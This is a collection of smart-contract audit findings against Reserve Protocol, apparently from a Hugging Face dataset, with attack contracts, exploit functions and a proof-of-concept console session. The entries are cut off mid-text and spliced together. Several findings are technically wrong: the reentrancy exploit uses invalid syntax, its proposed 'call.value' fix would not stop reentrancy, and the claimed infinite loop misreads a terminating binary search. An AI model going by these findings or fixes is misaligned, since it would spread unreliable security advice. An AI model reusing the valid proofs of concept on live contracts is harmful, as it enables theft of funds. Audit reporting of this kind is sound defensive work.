xanoutas/solidity-security-findings huggingface dataset:
Adversary can abuse a quirk of compound redemption to manipulate the underlying exchange rate and maliciously disable cToken collaterals
Audit: 2023-01-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/FiatCollateral.sol#L121-L165


# Vulnerability details

## Impact

Adversary can maliciously disable cToken collateral to cause loss to rToken during restructuring

## Proof of Concept

    if (referencePrice < prevReferencePrice) {
        markStatus(CollateralStatus.DISABLED);
    }

CTokenNonFiatCollateral and CTokenFiatCollateral both use the default refresh behavior presented in FiatCollateral which has the above lines which automatically disables the collateral if the reference price ever decreases. This makes the assumption that cToken exchange rates never decrease but this is an incorrect assumption and can be exploited by an attacker to maliciously disable a cToken being used as collateral.

[CToken.sol](https://github.com/compound-finance/compound-protocol/blob/a3214f67b73310d547e00fc578e8355911c9d376/contracts/CToken.sol#L480-L505)

        uint redeemTokens;
        uint redeemAmount;
        /* If redeemTokensIn > 0: */
        if (redeemTokensIn > 0) {
            /*
             * We calculate the exchange rate and the amount of underlying to be redeemed:
             *  redeemTokens = redeemTokensIn
             *  redeemAmount = redeemTokensIn x exchangeRateCurrent
             */
            redeemTokens = redeemTokensIn;
            redeemAmount = mul_ScalarTruncate(exchangeRate, redeemTokensIn);
        } else {
            /*
             * We get the current exchange rate and calculate the amount to be redeemed:
             *  redeemTokens = redeemAmountIn / exchangeRate
             *  redeemAmount = redeemAmountIn
             */

            // @audit redeemTokens rounds in favor of the user

            redeemTokens = div_(redeemAmountIn, exchangeRate);
            redeemAmount = redeemAmountIn;
        }

The exchange rate can be manipulated by a tiny amount during the redeem process. The focus above is the scenario where the user requests a specific amount of underlying. When calculating the number of cTokens to redeem for a specific amount of underlying it rounds IN FAVOR of the user. This allows the user to redeem more underlying than the exchange rate would otherwise imply. Because the user can redeem *slightly* more than intended they can create a scenario in which the exchange rate actually drops after they redeem. This is because compound calculates the exchange rate dynamically using the current supply of cTokens and the assets under management.

[CToken.sol](https://github.com/compound-finance/compound-protocol/blob/a3214f67b73310d547e00fc578e8355911c9d376/contracts/CToken.sol#L293-L312)

    function exchangeRateStoredInternal() virtual internal view returns (uint) {
        uint _totalSupply = totalSupply;
        if (_totalSupply == 0) {
            /*
             * If there are no tokens minted:
             *  exchangeRate = initialExchangeRate
             */
            r
Deployer will deploy proxies that cannot be upgraded
Audit: 2023-01-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/Deployer.sol#L102


# Vulnerability details

## Impact
In contrast to the [Test File](https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/test/Upgradeability.test.ts), in which you're deploying the proxies directly, the setup from `Deployer` will keep the Proxy Admin to a zero value.

Meaning nobody will be able to upgrade them after the deployment.

See POC below to show that the admin slot is address(0)

Contract below shows a basic setup, which uses the same dependencies as yours (OZ @ 4.7.3, Solidity 0.8.9)

As you'll see, the setup makes it so that no admin is set, meaning the contract will be a proxy which is not actually upgradeable.

## Proof of Concept

```solidity
// SPDX-License-Identifier: BlueOak-1.0.0
pragma solidity 0.8.9;

import "@openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";


contract Child {
  bool public initialized;
  function init() external {
    initialized = true;
  }
}

contract TestAdmin {
  address public logic;
  constructor () {
    logic = address(new Child());
  }

  function deploy() external returns (address) {
      // Main - Proxy
      Child proxy = Child(address(new ERC1967Proxy(address(logic), new bytes(0))));
      proxy.init();

      return address(proxy);
  } 
}
```

```python
Launching 'ganache-cli --accounts 10 --hardfork istanbul --gasLimit 12000000 --mnemonic brownie --port 8545'...
Brownie environment is ready.
>>> c = TestAdmin.deploy({"from": a[0]})
Transaction sent: 0x606dae4b847772c4dbc88283193a90ad7547811e49939f7f9eb8de050ffbef97
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 0
  TestAdmin.constructor confirmed   Block: 1   Gas used: 634116 (5.28%)
  TestAdmin deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87
>>> c.deploy()
Transaction sent: 0x9d78314f6cc9f7df00f902eab4bb9c33fdf0317e371b78692517689660f79bd4
  Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 2
  TestAdmin.deploy confirmed   Block: 3   Gas used: 242385 (2.02%)

<Transaction '0x9d78314f6cc9f7df00f902eab4bb9c33fdf0317e371b78692517689660f79bd4'>
>>> history[-1].return_value
'0x6579f06422dDCFC2899Cb6611F45D6133d4445D1' ## Check the Child address
>>> child = Child.at("0x6579f06422dDCFC2899Cb6611F45D6133d4445D1")
>>> child.initialized()
True ## It's initialized, meaning it's a Proxy Deployed and setup like yours
>>> web3.eth.getStorageAt(str(child), "0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103")
HexBytes('0x00') ## No admin, you cannot upgrade these
>>>
```

### Further help in debugging

By introducing `getAdmin` we can just get the admin value without needing to use getStorageAt.

This yields the same result due to the deployment flow.

```solidity
// SPDX-License-Identifier: BlueOak-1.0.0
pragma solidity 0.8.9;

import "@openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";


contract Child {
  bool public initialized;
  function init() external
Stealing money from protocol
Audit: 2023-01-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/Distributor.sol#L87-L137


# Vulnerability details

## Impact
Parameters(     address from,uint256 amount) passed in the function call distribute() not checked , attacker can specify any address approved to distrutor and any amount to steal asset 

## Proof of Concept
```
 function distribute(
        IERC20 erc20,
        address from,
        uint256 amount
    ) external notPausedOrFrozen {
        require(erc20 == rsr || erc20 == rToken, "RSR or RToken");
        bool isRSR = erc20 == rsr; // if false: isRToken
        uint256 tokensPerShare;
        {
            RevenueTotals memory revTotals = totals();
            uint256 totalShares = isRSR ? revTotals.rsrTotal : revTotals.rTokenTotal;
            require(totalShares > 0, "nothing to distribute");
            tokensPerShare = amount / totalShares;
        }

        // Evenly distribute revenue tokens per distribution share.
        // This rounds "early", and that's deliberate!

        Transfer[] memory transfers = new Transfer[](destinations.length());
        uint256 numTransfers;

        for (uint256 i = 0; i < destinations.length(); ++i) {
            address addrTo = destinations.at(i);

            uint256 numberOfShares = isRSR
                ? distribution[addrTo].rsrDist
                : distribution[addrTo].rTokenDist;
            if (numberOfShares == 0) continue;
            uint256 transferAmt = tokensPerShare * numberOfShares;

            if (addrTo == FURNACE) {
                addrTo = furnace;
            } else if (addrTo == ST_RSR) {
                addrTo = stRSR;
            }

            transfers[numTransfers] = Transfer({
                erc20: erc20,
                addrTo: addrTo,
                amount: transferAmt
            });
            numTransfers++;
        }
        emit RevenueDistributed(erc20, from, amount);

        // == Interactions ==
        for (uint256 i = 0; i < numTransfers; i++) {
            Transfer memory t = transfers[i];
            IERC20Upgradeable(address(t.erc20)).safeTransferFrom(from, t.addrTo, t.amount);
        }
    }
```
The purpose of the function call distribute() is to distribute revenue, in rsr or rtoken, per the distribution table.There are three parameters (erc20,from, amount) passed to this function. 
The amount is used to calculate tokensPerShare according to the formula tokensPerShare = amount / totalShares.
Then use tokensPerShare to calculate the number of receipts per destination address in line 115.
Finally call safeTransferFrom() from the from address to the destination address in line 135.

However, both the from address and the amount are not checked.  The from address can be any address approved to distrutor  and 
the larger amount, the larger transferAmt will be and  the more the destination address will receives.
 Eventually, the asset in the from address may be drained.

## Tool
Basket range formula is inefficient, leading the protocol to unnecessary haircut
Audit: 2023-01-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/RecollateralizationLib.sol#L152-L202


# Vulnerability details



## Impact
The `BackingManager.manageTokens()` function checks if there's any deficit in collateral, in case there is, if there's a surplus from another collateral token it trades it to cover the deficit, otherwise it goes for a 'haircut' and cuts the amount of basket 'needed' (i.e. the number of baskets RToken claims to hold).
In order to determine how much deficit/surplus there is the protocol calculates the 'basket range', where the top range is the optimistic estimation of the number of baskets the token would hold after trading and the bottom range is a pessimistic estimation.

The estimation is done by dividing the total collateral value by the price of 1  basket unit (for optimistic estimation the max value is divided by min price of basket-unit and vice versa).
The problem is that this estimation is inefficient, for cases where just a little bit of collateral is missing the range 'band' (range.top - range.bottom) would be about 4% (when oracle error deviation is ±1%) instead of less than 1%.

This can cause the protocol an unnecessary haircut of a few percent where the deficit can be solved by simple trading.

This would also cause the price of `RTokenAsset` to deviate more than necessary before the haircut.


## Proof of Concept
In the following PoC, the basket changed so that it has 99% of the required collateral for 3 tokens and 95% for the 4th.
The basket range should be 98±0.03% (the basket has 95% collateral + 4% of 3/4 tokens. That 4% is worth 3±0.03% if we account for oracle error of their prices), but in reality the protocol calculates it as ~97.9±2%.
That range causes the protocol to avoid trading and go to an unnecessary haircut to ~95%


```diff
diff --git a/contracts/plugins/assets/RTokenAsset.sol b/contracts/plugins/assets/RTokenAsset.sol
index 62223442..03d3c3f4 100644
--- a/contracts/plugins/assets/RTokenAsset.sol
+++ b/contracts/plugins/assets/RTokenAsset.sol
@@ -123,7 +123,7 @@ contract RTokenAsset is IAsset {
     // ==== Private ====
 
     function basketRange()
-        private
+        public
         view
         returns (RecollateralizationLibP1.BasketRange memory range)
     {
diff --git a/test/Recollateralization.test.ts b/test/Recollateralization.test.ts
index 3c53fa30..386c0673 100644
--- a/test/Recollateralization.test.ts
+++ b/test/Recollateralization.test.ts
@@ -234,7 +234,42 @@ describe(`Recollateralization - P${IMPLEMENTATION}`, () => {
         // Issue rTokens
         await rToken.connect(addr1)['issue(uint256)'](issueAmount)
       })
+      it('PoC basket range', async () => {
+        let range = await rTokenAsset.basketRange();
+        let basketTokens = await basketHandler.basketTokens();
+        console.log({range}, {basketTokens});
+        // Change the basket so that current balance would be 99 or 95
Incorrect Trade Settlement in settleTrade() function
Audit: 2023-01-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/interfaces/ITrading.sol#L49


# Vulnerability details

## Impact

```
/// Settle a single trade, expected to be used with multicall for efficient mass settlement
    /// @custom:refresher
    function settleTrade(IERC20 sell) external;
```
This function takes in only a single IERC20 token as a parameter, with no other information about the trade. This could lead to unintended trades being settled if it is possible for multiple trades to be open for the same sell token.


## Proof of Concept

Assume there are two open trades, Trade A and Trade B, that both involve the same sell token.

Trade A has the address of `0x123456` and is between `msg.sender` and another address.

Trade B has the address of `0x789012` and is between `msg.sender` and another address.

An attacker calls the `settleTrade()` function with the address of the sell token used in both Trade A and Trade B.

Since the function takes in only a single IERC20 token as a parameter, with no other information about the trade, it will settle any trade that is open for 
the token passed as an argument.

The attacker can then choose which trade he wants to settle and can call the function multiple times to settle the trade he wants to.

```
function exploit() public {
    // Assume Trade A has the address of 0x123456 and Trade B has the address of 0x789012
    address sellToken = ERC20_TOKEN_ADDRESS; // address of the sell token used in both trades
    ITrade tradeA = ITrade(0x123456);
    ITrade tradeB = ITrade(0x789012);
    // Checking the trade details before exploiting
    require(tradeA.sell() == sellToken, "Trade A doesn't involve the sell token");
    require(tradeB.sell() == sellToken, "Trade B doesn't involve the sell token");
    // Settle Trade A
    settleTrade(sellToken);
    // Check that Trade A is settled
    require(tradeA.isSettled(), "Trade A is not settled");
    // Settle Trade B
    settleTrade(sellToken);
    // Check that Trade B is settled
    require(tradeB.isSettled(), "Trade B is not settled");
}
```

`settleTrade()` function can be exploited by an attacker to settle any trade that is open for the same sell token, regardless of the trade's details, which could lead to unintended consequences such as the wrong trade being `settled`, or the wrong quantities of tokens being transferred.

## Tools Used

Manual audit, vs code

## Recommended Mitigation Steps

Add the address of the trade contract as a parameter. This would allow the function to directly access the trade contract and settle it.

```
function settleTrade(IERC20 sell, address trade) external {
    ITrade iTrade = ITrade(trade);
    require(iTrade.isOpen(), "Trade is already settled");
    // Settle the trade
    iTrade.settle();
}
```

Use a unique identifier for the trade as a parameter. This would allow the function to look up the trade contract using the unique identifier.

```
functio
totalStakes is not updated in seizeRSR()
Audit: 2023-01-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L374


# Vulnerability details

## Impact
when RSR is seized  in the function **seizeRSR()**  **stakeRSR** is update  but  **totalStakes** is not updated so after **seizeRSR()**  is called  when   **stake** is called  the line 225 
```
        uint256 stakeAmount = newTotalStakes - totalStakes;
```
will underflow and revert because **totalStakes** is not updated and it is greater than **newTotalStakes**

## Proof of Concept
https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L225
## Tools Used
Manual analysis
## Recommended Mitigation Steps
updated  **totalStakes** in seizeRSR()
Infinite Loop Vulnerability in `endIdForWithdraw()` Function.
Audit: 2023-01-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L449-L456


# Vulnerability details

## Impact

While loop within the `endIdForWithdraw()` function.

```
while (left < right - 1) {
    // Loop invariants, because without great care a binary search is usually wrong:
    // - queue[left].availableAt <= time
    // - either right == queue.length or queue[right].availableAt > time
    test = (left + right) / 2; // left < test < right because left < right - 1
    if (queue[test].availableAt <= time) left = test;
    else right = test;
}
```
This loop can cause an infinite loop if the loop invariants are not maintained properly.

`endIdForWithdraw()` functions to consume an excessive amount of gas and cause the smart contract to stop responding to other transactions. This could also lead to a `denial-of-service` attack on the contract. The `endIdForWithdraw()` function will not return the expected result and the contract will not function properly.

## Proof of Concept

The `draftQueues[draftEra][account]` array is in such a way that the loop invariants are not met, causing the while loop to run indefinitely. This can be done by, for example, creating a scenario where the left and right pointers in the while loop are not updated correctly, or by manipulating the `availableAt` timestamp of the `CumulativeDraft` structs in the array so that the loop never exits.

1. An attacker creates a large number of drafts in the system and manipulates the `availableAt` timestamp of these drafts in such a way that the binary search always returns the same midpoint value.

2. The attacker then calls the `endIdForWithdraw()` function with their account, causing the while loop to run indefinitely, as the left and right pointers are not updated correctly.

3. This will cause the function to run indefinitely and consume all the gas provided for the transaction, resulting in a DoS attack on the contract.

This code snippet illustrates this proof of concept.

```
// Attacker creates a large number of drafts and manipulates the availableAt timestamp
for (uint i = 0; i < 100; i++) {
    draftQueues[draftEra][attacker].push(CumulativeDraft({
        availableAt: block.timestamp + i, 
        drafts: 1
    }));
}

// Attacker calls the endIdForWithdraw() function
contract.endIdForWithdraw(attacker);
```
This will cause the function to run indefinitely and consume all the gas provided for the transaction, resulting in a `DoS attack` on the contract.

## Tools Used

Manual audit, Vs code

## Recommended Mitigation Steps

Add a maximum `iteration` limit for the while `loop`, and have the function return an error if the loop reaches that maximum limit without finding a result.

```
function endIdForWithdraw(address account) external view returns (uint256) {
    uint256 time = block.timestamp;
    CumulativeDraft[] storage queue = draftQueues[draftEra][account];
    uint256 maxIterations = 100;
    ui
Reentrancy Vulnerability in `stake()` and `unstake()` functions.
Audit: 2023-01-reserve-findings
Severity: HIGH

# Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L212-L233


# Vulnerability details

## Impact

An attacker can repeatedly call these functions and manipulate the state of the contract, potentially leading to a loss of funds for the users of the contract. For example, an attacker could repeatedly call the `stake()` function, causing the attacker to receive an increasing amount of `StRSR` tokens without actually transferring any RSR tokens to the contract. Similarly, an attacker could repeatedly call the `unstake()` function, causing the attacker to receive an increasing amount of RSR tokens without actually reducing their balance of `StRSR` tokens.

## Proof of Concept

For exploiting this vulnerability would involve creating a malicious contract that repeatedly calls the `stake()` or `unstake()` functions of the StRSRP1 contract before the state has been updated.

Code Snippet.

```
pragma solidity ^0.8.9;

contract Attacker {
    StRSRP1 public target;

    address public victim;

    constructor(address _target, address _victim) public {
        target = StRSRP1(_target);
        victim = _victim;
    }

    function exploit() public {
        // Call stake() function repeatedly before state is updated
        while (target.stake(1 ether).value(1 ether)()) {}
    }
}
```
In this example, the attacker creates a contract called "Attacker" that takes in the address of the StRSRP1 contract and the address of the victim as constructor arguments. The `exploit()` function repeatedly calls the `stake()` function of the StRSRP1 contract before the state has been updated using a while loop and sends 1 ether to the StRSRP1 contract each time. This allows the attacker to repeatedly stake and gain more StRSR tokens than they should be able to.

This vulnerability could be exploited by an attacker to gain a large amount of `StRSR` tokens, resulting in financial loss for other users of the contract.

## Tools Used

Manual audit, Vs Code.

## Recommended Mitigation Steps

Include a `require` statement with the `address.call.value()()` function at the beginning of the `stake()` and `unstake()` functions. This would prevent the contract from executing any external calls before the state has been updated.

For example, in the `stake()` function, you can add the following line of code at the beginning of the function:

`require(address(this).call.value(rsrAmount)());`

This will make it so that the contract first calls the fallback function of the external contract before proceeding with the rest of the `stake()` function's code. This ensures that any state changes made within the `stake()` function are committed before external calls are made, preventing the potential reentrancy attack.

Similarly, in the `unstake()` function, you can add the following line of code at the beginning of the function.

require(address(this).call.value()());

This will prevent the contract from making